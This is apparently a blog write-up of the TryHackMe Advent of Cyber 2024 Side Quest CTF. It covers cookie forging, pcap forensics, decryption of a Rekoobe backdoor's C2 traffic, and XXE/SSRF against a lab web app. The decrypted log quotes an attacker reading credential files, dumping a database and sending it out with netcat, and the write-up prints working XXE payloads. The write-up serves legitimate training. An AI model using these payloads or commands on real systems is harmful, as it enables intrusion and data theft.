Post

TryHackMe - Advent of Cyber '24 Side Quest

TryHackMe - Advent of Cyber '24 Side Quest

Explore a series of advanced challenges alongside the core Advent of Cyber event!

The Advent of Cyber 2024 is an event hosted by TryHackMe. While the annual Advent of Cyber is a fully guided event accessible to users of all skill levels in cyber security, the Advent of Cyber Side Quest is prepared for advanced users.

The Advent of Cyber 2024 Side Quest is a series of five challenges in which you’ll help Elf McSkidy recover access to the compromised servers and defeat the Frosty Five. These challenges will have no additional guidance and will range between “Hard” and “Insane” difficulty levels.

This write-up has been created while the event was on-going and no other write-ups were present. I only solved the first side-quest and found the key card for the second side-quest. I spend some time on it but due to time issues I didn’t finish any other side-quests unfortuantely.

Sidequest 1

Gaining access to the room

  • The malware file from the first AOC challenge leads to this GitHub profile: https://github.com/MM-WarevilleTHM
    sq1-mm-profile
  • That user has made an issue in another repository: https://github.com/Bloatware-WarevilleTHM/CryptoWallet-Search/issues/1
    sq1-bw-profile
  • In that issue, they discussed with another GitHub account: https://github.com/Bloatware-WarevilleTHM
  • That second GitHub account has a C2 repository containing hardcoded credentials: app.secret_key = "@09JKD0934jd712?djD" https://github.com/Bloatware-WarevilleTHM/C2-Server/blob/main/app.py
  • Those credentials don’t work on the side-quest zip:
    1
    2
    3
    4
    
      $ unzip -P '@09JKD0934jd712?djD' aoc_sq_1.zip
      skipping: traffic.pcap            incorrect password
      $ unzip -P 'securepassword' aoc_sq_1.zip
      skipping: traffic.pcap            incorrect password
    
  • Go to the first machine to port 8000 (as that’s where the C2 listens) sq1-c2-login
  • add cookie with the secret we found earlier, access /data endpoint python -m flask-unsign --sign --cookie "{'logged_in': True}" --secret '@09JKD0934jd712?djD' sq1-session
  • Found the keycard sq1-c2-data
  • We can use the keycard code to unzip the first side-quest zip:
    1
    2
    3
    4
    
      $ unzip -P 'vK5RMlvkGO3QiLU' aoc_sq_1.zip
      Archive:  aoc_sq_1.zip
      replace traffic.pcap? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
      inflating: traffic.pcap  
    

    L1: Operation Tiny Frostbite - Hard

    We get a traffic.pcap file that we can analyse traffic and find the answer to a set of questions.

Reconaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ tshark -r traffic.pcap -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter: 

sll                                      frames:158424 bytes:12985564
  ip                                     frames:158302 bytes:12973380
    tcp                                  frames:158290 bytes:12972678
      ssh                                frames:2321 bytes:283933
      http                               frames:2509 bytes:903508
        data-text-lines                  frames:1242 bytes:674586
          tcp.segments                   frames:3 bytes:1913
        urlencoded-form                  frames:11 bytes:5375
          tcp.segments                   frames:3 bytes:339
        png                              frames:3 bytes:2252
          tcp.segments                   frames:3 bytes:2252
        data                             frames:2 bytes:1337
          tcp.segments                   frames:2 bytes:1337
        xml                              frames:1 bytes:595
      mysql                              frames:4 bytes:534
      tls                                frames:42 bytes:11522
      data                               frames:143 bytes:19711
    icmp                                 frames:9 bytes:473
      data                               frames:1 bytes:73
    udp                                  frames:3 bytes:229
      data                               frames:1 bytes:45
      ntp                                frames:2 bytes:184
  arp                                    frames:26 bytes:1144
  ipv6                                   frames:96 bytes:11040
    tcp                                  frames:96 bytes:11040
      http                               frames:24 bytes:4656
===================================================================

This command filters all HTTP POST requests in the PCAP file. We did this because POST requests are typically used to send form data, including usernames and passwords.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ tshark -r traffic.pcap -Y "http.request.method == POST" -T fields -e http.host -e http.request.uri -e frame.number

10.10.103.220   /       147677
10.10.103.220   /sdk    147708
10.10.103.220   /       147964
10.10.103.220   /admin/login.php        152478
10.10.103.220   /register.php   153213
10.10.103.220   /index.php      153274
10.10.103.220   /welcome.php    153354
127.0.0.1       /admin/login.php        153506
10.10.103.220   /index.php      153783
10.10.103.220   /welcome.php    154030
127.0.0.1       /admin/login.php        154120
10.13.44.207    /admin.html     154159
10.10.103.220   /admin/login.php        154354

What is the password the attacker used to register on the site?

The output listed all POST requests, including frame 153213, which targeted the /register.php endpoint—suggesting user registration activity.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
$ tshark -r traffic.pcap -Y "frame.number == 153213" -V
Frame 153213: 699 bytes on wire (5592 bits), 699 bytes captured (5592 bits) on interface any, id 0
    Section number: 1
    Interface id: 0 (any)
        Interface name: any
    Encapsulation type: Linux cooked-mode capture v1 (25)
    Arrival Time: Nov 13, 2024 00:58:57.161211362 CET
    UTC Arrival Time: Nov 12, 2024 23:58:57.161211362 UTC
    Epoch Arrival Time: 1731455937.161211362
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.000340167 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 168.641318735 seconds]
    Frame Number: 153213
    Frame Length: 699 bytes (5592 bits)
    Capture Length: 699 bytes (5592 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: sll:ethertype:ip:tcp:http:urlencoded-form]
Linux cooked capture v1
...
...
...
    [Timestamps]
        [Time since first frame in this TCP stream: 0.218248300 seconds]
        [Time since previous frame in this TCP stream: 0.000340167 seconds]
    [SEQ/ACK analysis]
        [iRTT: 0.217908133 seconds]
        [Bytes in flight: 631]
        [Bytes sent since last PSH flag: 631]
    TCP payload (631 bytes)
Hypertext Transfer Protocol
    POST /register.php HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /register.php HTTP/1.1\r\n]
            [POST /register.php HTTP/1.1\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Request Method: POST
        Request URI: /register.php
        Request Version: HTTP/1.1
    Host: 10.10.103.220\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 84\r\n
        [Content length: 84]
    Origin: http://10.10.103.220\r\n
    DNT: 1\r\n
    Connection: keep-alive\r\n
    Referer: http://10.10.103.220/register.php\r\n
    Cookie: PHPSESSID=d0t0ojpcpgun8bi4qts2v7begv\r\n
        Cookie pair: PHPSESSID=d0t0ojpcpgun8bi4qts2v7begv
    Upgrade-Insecure-Requests: 1\r\n
    \r\n
    [Full request URI: http://10.10.103.220/register.php]
    [HTTP request 1/1]
    File Data: 84 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "username" = "frostyfox"
        Key: username
        Value: frostyfox
    Form item: "password" = "QU9DMjAyNHtUaW55X1R"
        Key: password
        Value: QU9DMjAyNHtUaW55X1R
    Form item: "confirm_password" = "QU9DMjAyNHtUaW55X1R"
        Key: confirm_password
        Value: QU9DMjAyNHtUaW55X1R

What is the password that the attacker captured?

We take a look at all the login frames.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ tshark -r traffic.pcap -Y "frame.number == 154354" -V 
Frame 154354: 666 bytes on wire (5328 bits), 666 bytes captured (5328 bits) on interface any, id 0
    Section number: 1
    Interface id: 0 (any)
        Interface name: any
    Encapsulation type: Linux cooked-mode capture v1 (25)
    Arrival Time: Nov 13, 2024 01:02:11.628537989 CET
    UTC Arrival Time: Nov 13, 2024 00:02:11.628537989 UTC
    Epoch Arrival Time: 1731456131.628537989
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.000364967 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 363.108645362 seconds]
    Frame Number: 154354
    Frame Length: 666 bytes (5328 bits)
    Capture Length: 666 bytes (5328 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: sll:ethertype:ip:tcp:http:urlencoded-form]
Linux cooked capture v1
...
...
..
    [Timestamps]
        [Time since first frame in this TCP stream: 0.211865125 seconds]
        [Time since previous frame in this TCP stream: 0.000364967 seconds]
    [SEQ/ACK analysis]
        [iRTT: 0.211500158 seconds]
        [Bytes in flight: 598]
        [Bytes sent since last PSH flag: 598]
    TCP payload (598 bytes)
Hypertext Transfer Protocol
    POST /admin/login.php HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /admin/login.php HTTP/1.1\r\n]
            [POST /admin/login.php HTTP/1.1\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Request Method: POST
        Request URI: /admin/login.php
        Request Version: HTTP/1.1
    Host: 10.10.103.220\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 45\r\n
        [Content length: 45]
    Origin: http://10.10.103.220\r\n
    DNT: 1\r\n
    Connection: keep-alive\r\n
    Referer: http://10.10.103.220/admin/login.php\r\n
    Cookie: PHPSESSID=qkck5d72efnfvdmgn2amvr7ffo\r\n
        Cookie pair: PHPSESSID=qkck5d72efnfvdmgn2amvr7ffo
    Upgrade-Insecure-Requests: 1\r\n
    \r\n
    [Full request URI: http://10.10.103.220/admin/login.php]
    [HTTP request 1/1]
    File Data: 45 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "username" = "mcskidy"
        Key: username
        Value: mcskidy
    Form item: "password" = "pbnlfVGlueV9TaDNsbF"
        Key: password
        Value: pbnlfVGlueV9TaDNsbF

What is the password of the zip file transferred by the attacker?

We start off by looking for zip files (magic bytes: 50 4B 03 04) in the traffic: tcp contains 50:4b:03:04. We get a hit:

sq1-wireshark-zipfile

We can now right-click the data section and export it as a zip. The zip contains an SQL file but is password protected.

1
2
3
4
5
6
$ file output2.zip
output2.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip output2.zip 
Archive:  output2.zip
[output2.zip] elves.sql password: 
   skipping: elves.sql               incorrect password

When looking at other exportable objects we noticed a few interesting files:

sq1-wireshark-export

sq1-wireshark-ff

1
2
$  file ff
ff: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2ef4ab8c9a54b4f6e2d5656fab7dc8cf2718e27f, for GNU/Linux 3.2.0, stripped

When we upload the file to virustotal it states it being “trojan.rekoobe/r023c0dkk24”.

sq1-virustotal

Running strings on the file doesn’t provide much but when opening the file in Ghidra we find a hardcoded key. PTR_s_SuP3RSeCrEt_004e4148 = "SuP3RSeCrEt"

The secret is used in quite complex business logic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
undefined4 FUN_004073a5(undefined4 param_1)

{
  int iVar1;
  undefined4 uVar2;
  int local_1c [3];
  
  iVar1 = FUN_00430870();
  if (iVar1 < 0) {
    FUN_004324a0(param_1);
    uVar2 = 1;
  }
  else if (iVar1 == 0) {
    iVar1 = FUN_00430870();
    if (iVar1 < 0) {
      uVar2 = 8;
    }
    else {
      uVar2 = 9;
      if (iVar1 == 0) {
        FUN_00430680(3);
        iVar1 = FUN_00402540(param_1,PTR_s_SuP3RSeCrEt_004e4148);
        if (iVar1 == 1) {
          FUN_00430680(0);
          iVar1 = FUN_00402058(param_1,&DAT_004e7580,local_1c);
          if ((iVar1 == 1) && (local_1c[0] == 1)) {
            if (DAT_004e7580 == '\x02') {
              uVar2 = FUN_00406e4c(param_1);
            }
            else if (DAT_004e7580 == '\x03') {
              uVar2 = FUN_00406ef8(param_1);
            }
            else {
              uVar2 = 0xc;
              if (DAT_004e7580 == '\x01') {
                uVar2 = FUN_00406da9(param_1);
              }
            }
            FUN_004351b0(param_1,2);
          }
          else {
            FUN_004351b0(param_1,2);
            uVar2 = 0xb;
          }
        }
        else {
          FUN_004351b0(param_1,2);
          uVar2 = 10;
        }
      }
    }
  }
  else {
    FUN_00432490(iVar1,0,0);
    FUN_004324a0(param_1);
    uVar2 = 1;
  }
  return uVar2;
}

When searching around for “rekoobe” we encounter this blogpost that explains how the communication works:

The following is a brief description of the most relevant steps in the authentication mechanism:

  1. The client will read a stream of 40-bytes from the server. This packet will be divided into two blocks of 20-bytes that will be utilized to initialize two AES128_HMAC_SHA1 contexts. The HMAC SHA1 pair will be generated against each of the 20-byte streams using a given shared secret (“idontknow” hardcoded string in newer variants) and they will be used as AES128 keys for encryption and decryption of future packets.

We have the secret key (SuP3RSeCrEt).

We also know there is encrypted communication on port 9001 so potentially, we could use this information to create a decryption key to gain insight to what the attacker has sent to the C2.

On a high level the process would be:

  1. Get the first 40 bytes from the server (after the tcp handshake)
  2. split in two 20 bytes
  3. apply AES128_HMAC_SHA1 on each part with SuP3RSeCrEt as key which results in encrypt and decrypt key

Luckily, we don’t have to implement this from scratch as there is already a tool on github that does this for us.

We can set up this tool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ git clone https://github.com/alexander-utkov/rekobee-analyzer
$ cd rekobee-analyzer
$ py -m pip install -r requirements.txt
$ python3 -m venv path/to/venv
$ source path/to/venv/bin/activate
$ pip install pyshark
$ pip install Crypto                       
$ python3 rekobee-analyzer/analyze.py -help
$ vi rekobee-analyzer/config.ini 
$ cat rekobee-analyzer/config.ini 
[tshark]
tshark_path = /usr/bin/tshark

[dumpcap]
dumpcap_path = /usr/bin/dumpcap

We can now decrypt the TCP communication with the C2 that was encrypted.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
$ python3 rekobee-analyzer/analyze.py -c traffic_9001.pcapng -s SuP3RSeCrEt -vv
[ ok ] Found the initial packet at 7.
[info] Participants:
       • CNC: 10.13.44.207:42312
       • Slave: 10.10.103.220:9001
[info] Initial packet payload (salts highlighted):
[data] 26 f3 21 ef d8 ee 63 7c 40 86 57 b6 fd 94 05 9e 33 19 1e 95 | & ó ! ï Ø î c | @  W ¶ ý    3   
[0x14] 3a 41 61 1c b0 b4 b3 a0 f8 89 f6 79 61 61 20 96 1d 87 f6 83 | : A a  ° ´ ³   ø  ö y a a      ö 
[info] Encryption (from the client's point of view):
       1) AES(key=d11851d2a0bc9f66a9627cb0e4b6d7e4, iv=3a41611cb0b4b3a0f889f67961612096) for sending;
       2) AES(key=b2111707b9855c80935c9373f0537f4a, iv=26f321efd8ee637c408657b6fd94059e) for receiving.
[info] Advance to packet 9 (sent by master).
[info] The packet will be decrypted with #2 AES context.
[info] Packet header (and initial buffer):
[data] 00 10 58 90 ae 86 f1 b9 1c f6 29 83 95 71 1d de |   X  ®  ñ ¹  ö )   q  Þ
[info] Packet:
       • size: 16;
       • HMAC: e7731c5d3710808c37cc13f7d710d245dca8874c.
[info] Content:
...
...
...
→ root@database:/tmp# cat /var/www/html/config.php
→ <?php
→ /* Database credentials. Assuming you are running MySQL
→ server with default setting (user 'root' with no password) */
→ define('DB_SERVER', 'localhost');
→ define('DB_USERNAME', 'mcskidy');
→ define('DB_PASSWORD', 'aBT4ZfhteNRE3ah');
→ define('DB_NAME', 'website');
→ 
→ /* Attempt to connect to MySQL database */
→ $mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
→ 
→ // Check connection
→ if($mysqli === false){
→         die("ERROR: Could not connect. " . $mysqli->connect_error);
→ }
→ ?>
→ 
→ root@database:/tmp# mysql -h localhost -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show databases;'
→ mysql: [Warning] Using a password on the command line interface can be insecure.
→ +--------------------+
→ | Database           |
→ +--------------------+
→ | elves              |
→ | information_schema |
→ | website            |
→ +--------------------+
→ root@database:/tmp# mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'
→ mysql: [Warning] Using a password on the command line interface can be insecure.
→ +-----------------+
→ | Tables_in_elves |
→ +-----------------+
→ | elf             |
→ +-----------------+
→ root@database:/tmp# mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
→ mysqldump: [Warning] Using a password on the command line interface can be insecure.
→ root@database:/tmp# zip -P 9jYW5fRW5jcnlwVF9iVXR elves.zip elves.sql
→   adding: elves.sql (deflated 58%)
→ root@database:/tmp# nc -w 3 10.13.44.207 9002 < elves.zip
→ root@database:/tmp# echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt
→ root@database:/tmp# 
[info] Done.

We can use the found password, from the decrypted communication, to unzip our found zip.

1
2
3
$ unzip -P 9jYW5fRW5jcnlwVF9iVXR packetzipfile.zip 
Archive:  packetzipfile.zip
  inflating: elves.sql

What is McSkidy’s password that was inside the database file stolen by the attacker?

We can check the sql file in the zip as it contains the password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cat elves.sql                          
-- MySQL dump 10.13  Distrib 8.0.28, for Linux (x86_64)
--
-- Host: localhost    Database: elves
-- ------------------------------------------------------
-- Server version       8.0.28-0ubuntu0.20.04.3
--
-- Dumping data for table `elf`
--

LOCK TABLES `elf` WRITE;
/*!40000 ALTER TABLE `elf` DISABLE KEYS */;
INSERT INTO `elf` VALUES (1,'bloatware','$2a$04$RBmm/E9BYc0MGcOVIwKCoerMyFYvN.Uygv9/CAHrYT4qgJzIYNmaq','2024-11-12 22:59:26'),(2,'freeware','$2a$04$tYjkpRuiO4A.Hoyp.7Q2OuMjBdpT3Aoy4u6w6O19Xj4hksAuIjevm','2024-11-12 22:59:26'),(3,'firmware','$2a$04$BDsYzkVX8MDB/PNe2ZIoIuB7FhlKV0bOWkxZfznlFf4CMPMRgRIUS','2024-11-12 22:59:26'),(4,'hardware','$2a$04$IXOjpLJgcjnJVxW69u3aCO8ISfnMq/1VEeLBCGhKFHbLAzDAZ4F6m','2024-11-12 22:59:26'),(5,'mcskidy','faXRfSXNfTjB0X0YwMGxwcm8wZn0=','2024-11-12 22:59:26');
/*!40000 ALTER TABLE `elf` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2024-11-13  0:08:31

Sidequest 2

Gaining access to the room

In the XXE room in the main advent room, there is some extra reconaissance we can do. We can use the XXE vulnerability in the “/whishlist” endpoint to find the internal services that are running on the server by checking the contents of /proc/net/tcp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /wishlist.php HTTP/1.1
Host: 10.10.210.178
Content-Length: 192


<!DOCTYPE wishlist [
  <!ENTITY payload SYSTEM "/proc/net/tcp">
]>
<wishlist>
  <user_id>1</user_id>
  <item>
    <product_id>&payload;</product_id>
  </item>
</wishlist>

The response is hard to decipher.

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK

The product ID:   sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 26745 1 0000000000000000 100 0 0 10 0                     
   1: 0100007F:AD7D 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25296 1 0000000000000000 100 0 0 10 0                     
   2: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 26699 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25966 1 0000000000000000 100 0 0 10 0                     
   4: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 19699 1 0000000000000000 100 0 0 10 0                     
   5: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24828 1 0000000000000000 100 0 0 10 0                     
   6: B2D20A0A:E64A 3AE1DC43:01BB 02 00000001:00000000 01:00000418 00000004     0        0 29934 2 0000000000000000 1600 0 0 1 7                     
   7: B2D20A0A:9FD0 29401FAC:01BB 01 00000000:00000000 02:00000144 00000000     0        0 28580 2 0000000000000000 20 4 8 10 24                     
is invalid.

We can convert the values into hex and get this table

IndexLocal AddressLocal PortRemote AddressRemote PortStateUIDInodeNotes
0127.0.0.133060.0.0.00LISTEN (0A)11326745MySQL server listening on localhost.
1127.0.0.1444450.0.0.00LISTEN (0A)025296Service listening on a high ephemeral port (possibly a local application).
2127.0.0.1330600.0.0.00LISTEN (0A)11326699MySQL X Protocol listening port.
30.0.0.0220.0.0.00LISTEN (0A)025966SSH server listening on all interfaces.
4127.53.0.0530.0.0.00LISTEN (0A)10119699Local DNS resolver (port 53).
5127.0.0.180800.0.0.00LISTEN (0A)024828Local web server listening on localhost.
610.10.210.1785895467.220.225.58443ESTABLISHED (02)029934Outgoing connection from the local system to an HTTPS service.
710.10.210.1784091241.250.1.164443SYN_SENT (01)028580Attempt to establish a connection to an HTTPS service, waiting for acknowledgment.

We can tell there are internal services running on port 8080. We can perform an SSRF attack to see what service is running, by using the payload:

1
2
3
<!DOCTYPE wishlist [
  <!ENTITY payload SYSTEM "http://127.0.0.1:8080">
]>

We get back an error message “Failed to parse XML” as the HTML breaks the XML encoding.

1
2
3
HTTP/1.1 200 OK

Failed to parse XML

We can base64 encode the content we receive to avoid breaking the XML.

1
2
3
4
5
6
7
8
9
10
11
POST /wishlist.php HTTP/1.1

<!DOCTYPE wishlist [
  <!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080">
]>
<wishlist>
  <user_id>1</user_id>
  <item>
    <product_id>&payload;</product_id>
  </item>
</wishlist>

We get back a base64 encoded string:

1
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hbC8vRU4iPgo8aHRtbD4KIDxoZWFkPgogIDx0aXRsZT5JbmRleCBvZiAvPC90aXRsZT4KIDwvaGVhZD4KIDxib2R5Pgo8aDE+SW5kZXggb2YgLzwvaDE+CiAgPHRhYmxlPgogICA8dHI+PHRoIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iL2ljb25zL2JsYW5rLmdpZiIgYWx0PSJbSUNPXSI+PC90aD48dGg+PGEgaHJlZj0iP0M9TjtPPUQiPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0iP0M9TTtPPUEiPkxhc3QgbW9kaWZpZWQ8L2E+PC90aD48dGg+PGEgaHJlZj0iP0M9UztPPUEiPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0iP0M9RDtPPUEiPkRlc2NyaXB0aW9uPC9hPjwvdGg+PC90cj4KICAgPHRyPjx0aCBjb2xzcGFuPSI1Ij48aHI+PC90aD48L3RyPgo8dHI+PHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iL2ljb25zL3Vua25vd24uZ2lmIiBhbHQ9IlsgICBdIj48L3RkPjx0ZD48YSBocmVmPSJhY2Nlc3MubG9nIj5hY2Nlc3MubG9nPC9hPjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+MjAyNC0xMi0wMyAxMjo1MyAgPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4yMjMgPC90ZD48dGQ+Jm5ic3A7PC90ZD48L3RyPgogICA8dHI+PHRoIGNvbHNwYW49IjUiPjxocj48L3RoPjwvdHI+CjwvdGFibGU+CjxhZGRyZXNzPkFwYWNoZS8yLjQuNDEgKFVidW50dSkgU2VydmVyIGF0IDEyNy4wLjAuMSBQb3J0IDgwODA8L2FkZHJlc3M+CjwvYm9keT48L2h0bWw+Cg==

This decodes to a html page that contains a reference to a file called “access.log”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
   <head>
      <title>Index of /</title>
   </head>
   <body>
      <h1>Index of /</h1>
      <table>
         <tr>
            <th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th>
            <th><a href="?C=N;O=D">Name</a></th>
            <th><a href="?C=M;O=A">Last modified</a></th>
            <th><a href="?C=S;O=A">Size</a></th>
            <th><a href="?C=D;O=A">Description</a></th>
         </tr>
         <tr>
            <th colspan="5">
               <hr>
            </th>
         </tr>
         <tr>
            <td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td>
            <td><a href="access.log">access.log</a></td>
            <td align="right">2024-12-03 12:53  </td>
            <td align="right">223 </td>
            <td>&nbsp;</td>
         </tr>
         <tr>
            <th colspan="5">
               <hr>
            </th>
         </tr>
      </table>
      <address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 8080</address>
   </body>
</html>

Requesting the contents of the access log via the payload <!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/access.log">, provides us with a secret endpoint after decoding the received value.

1
10.13.27.113 - - [18/Nov/2024:14:43:35 +0000] "GET /k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png HTTP/1.1" 200 194 "http://10.10.218.19/product.php?id=1" "Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0"

This endpoint contains the second keycard: sq2-keycard

This post is licensed under CC BY 4.0 by the author.